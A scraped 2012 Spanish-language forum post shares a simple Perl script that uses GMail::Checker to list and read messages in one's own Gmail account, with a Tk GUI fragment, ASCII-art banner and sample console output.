"Gmail Inbox 0.1 || Coded by Doddy H || [+] Status : <None>"); } sub total { my $mod_total = new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] ); my ( $a, $b ) = $mod_total->get_msg_nb_size("TOTAL_MSG"); } sub getdata { my $mod_msg = new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] ); my @msg = $mod_msg->get_msg( MSG => $_[2] ); my $mas = $msg[0]->{headers}; if ( $mas =~ /From: (.*)/ig ) { $from = $1; } if ( $mas =~ /Subject: (.*)/ig ) { $asunto = $1; } if ( $mas =~ /Date: (.*)/ig ) { $date = $1; } return ( $from, $asunto, $date ); } sub yeah { my @ar = $agen->selectionGet(); openmessage( $username->get, $password->get, $ar[0] ); } sub openmessage { my $cons = MainWindow->new(); $cons->geometry("500x350+20+20"); $cons->resizable( 0, 0 ); $cons->title("Reading message"); my $conso = $cons->Scrolled( "ROText", -width => 70, -height => 40, -scrollbars => "e" )->pack(); my $mod_msg = new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] ); my @msg = $mod_msg->get_msg( MSG => $_[2] ); $conso->insert( "end", "[+] ID : $_[2]\n" ); my $mas = $msg[0]->{headers}; if ( $mas =~ /From: (.*)/ig ) { my $from = $1; $conso->insert( "end", "[+] From : $from\n" ); } if ( $mas =~ /To: (.*)/ig ) { my $to = $1; $conso->insert( "end", "[+] To : $to\n" ); } if ( $mas =~ /Subject: (.*)/ig ) { my $asunto = $1; $conso->insert( "end", "[+] Subject : $asunto\n" ); } if ( $mas =~ /Date: (.*)/ig ) { my $date = $1; $conso->insert( "end", "[+] Date : $date\n\n" ); } my $text = $msg[0]->{body}; if ( $text =~ /<body class=3D'hmmessage'><div dir=3D'ltr'>(.*?)<\/div><\/body>/sig ) { my $body = $1; $body =~ s/<br>/\n/g; my $uno = HTML::Strip->new( emit_spaces => 1 ); my $body = $uno->parse($body); $conso->insert( "end", $body ); } } #The End ?
|
|
|
340
|
Programación / Scripting / [Perl] Gmail Inbox 0.1
|
en: 28 Abril 2012, 16:50 pm
|
Acabo de terminar un simple programa en Perl para poder leer mis mensajes de mi cuenta de correo Gmail , no es nada del otro mundo solo ponen el usuario y la contraseña de la cuenta y el programa carga un menu en el cual pueden listar todos los mensajes o leer un mensaje completo. El codigo #!usr/bin/perl #Gmail Inbox 0.1 #Coded By Doddy H #Modules #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm #http://search.cpan.org/~fays/GMail-Checker-1.04/Checker.pm use GMail::Checker; use HTML::Strip; head(); print "\n\n[+] Username : "; chomp( my $user = <stdin> ); print "\n[+] Password : "; chomp( my $pass = <stdin> ); while (1) { print "\n\n[+] Options\n\n"; print "[1] : Messages list\n"; print "[2] : Read Message\n"; chomp( my $op = <stdin> ); if ( $op eq "1" ) { listar( $user, $pass ); } elsif ( $op eq "2" ) { chomp( my $id = <stdin> ); getallmsg( $user, $pass, $id ); } elsif ( $op eq "3" ) { copyright(); } else { print "\n\n[-] Bad Option\n\n"; } } sub listar { my $total = total( $_[0], $_[1] ); print "\n[+] Messages found : $total\n\n"; for my $num ( 1 .. $total ) { getdata( $_[0], $_[1], $num ); } } sub total { my $mod_total = new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] ); my ( $a, $b ) = $mod_total->get_msg_nb_size("TOTAL_MSG"); } sub getdata { my $mod_msg = new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] ); my @msg = $mod_msg->get_msg( MSG => $_[2] ); print "\n[+] ID : $_[2]\n\n"; my $mas = $msg[0]->{headers}; if ( $mas =~ /From: (.*)/ig ) { my $from = $1; print "[+] From : $from\n"; } if ( $mas =~ /Subject: (.*)/ig ) { my $asunto = $1; print "[+] Subject : $asunto\n"; } if ( $mas =~ /Date: (.*)/ig ) { my $date = $1; print "[+] Date : $date\n"; } } sub getallmsg { print "\n[+] Reading message\n\n"; my $mod_msg = new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] ); my @msg = $mod_msg->get_msg( MSG => $_[2] ); print "[+] ID : $_[2]\n\n"; my $mas = $msg[0]->{headers}; if ( $mas =~ /From: (.*)/ig ) { my $from = $1; print "[+] From : $from\n"; } if ( $mas =~ /To: (.*)/ig ) { my $to = $1; } if ( $mas =~ /Subject: (.*)/ig ) { my $asunto = $1; print "[+] Subject : $asunto\n"; } if ( $mas =~ /Date: (.*)/ig ) { my $date = $1; print "[+] Date : $date\n"; } my $text = $msg[0]->{body}; if ( $text =~ /<body class=3D'hmmessage'><div dir=3D'ltr'>(.*?)<\/div><\/body>/sig ) { my $body = $1; $body =~ s/<br>/\n/g; my $uno = HTML::Strip->new( emit_spaces => 1 ); my $body = $uno->parse($body); print "\n\n[Body Start]\n\n"; print "\n\n[Body End]\n\n"; } } sub head { @@@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@ @@ @@@ @ @ @ @ @@ @@@@ @@@ @ @ @ @@@ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @ @@@@ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@ @ @@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@ @ @ @ @ @@@@ @ @ @ @ @ @@@@ @@@ @ @ ); } sub copyright { print "\n\n-- == (C) Doddy Hackman 2012 == --\n\n"; <stdin>; } #The End ?
Ejemplo de uso @@@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@ @@ @@@ @ @ @ @ @@ @@@@ @@@ @ @ @ @@@ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @ @@@@ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@ @ @@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@ @ @ @ @ @@@@ @ @ @ @ @ @@@@ @@@ @ @
[+] Username : lagartojuancho
[+] Password : juancho123
[+] Options
[1] : Messages list [2] : Read Message [3] : Exit
[+] Option : 1
[+] Messages found : 8
[+] ID : 1
[+] From : Van Helsing <lepuke@hotmail.com> [+] Subject : RE: Server just blew up [+] Date : Mon, 23 Apr 2012 18:55:33 -0300
[+] ID : 2
[+] From : Van Helsing <lepuke@hotmail.com> [+] Subject : RE: Server just blew up [+] Date : Mon, 23 Apr 2012 18:56:59 -0300
[+] ID : 3
[+] From : Van Helsing <lepuke@hotmail.com> [+] Subject : RE: Server just blew up [+] Date : Mon, 23 Apr 2012 19:07:20 -0300
[+] ID : 4
[+] From : Van Helsing <lepuke@hotmail.com> [+] Subject : hola tonton [+] Date : Mon, 23 Apr 2012 19:26:17 -0300
[+] ID : 5
[+] From : Van Helsing <lepuke@hotmail.com> [+] Subject : hola tonton [+] Date : Mon, 23 Apr 2012 19:26:21 -0300
[+] ID : 6
[+] From : Van Helsing <lepuke@hotmail.com> [+] Subject : ASUNTO [+] Date : Mon, 23 Apr 2012 19:30:10 -0300
[+] ID : 7
[+] From : Van Helsing <lepuke@hotmail.com> [+] Subject : ASUNTO FINAL [+] Date : Tue, 24 Apr 2012 12:39:14 -0300
[+] ID : 8
[+] From : Van Helsing <lepuke@hotmail.com> [+] Subject : hola [+] Date : Wed, 25 Apr 2012 14:13:22 -0300
[+] Options
[1] : Messages list [2] : Read Message [3] : Exit
[+] Option :
|
|
|
|
|
|
|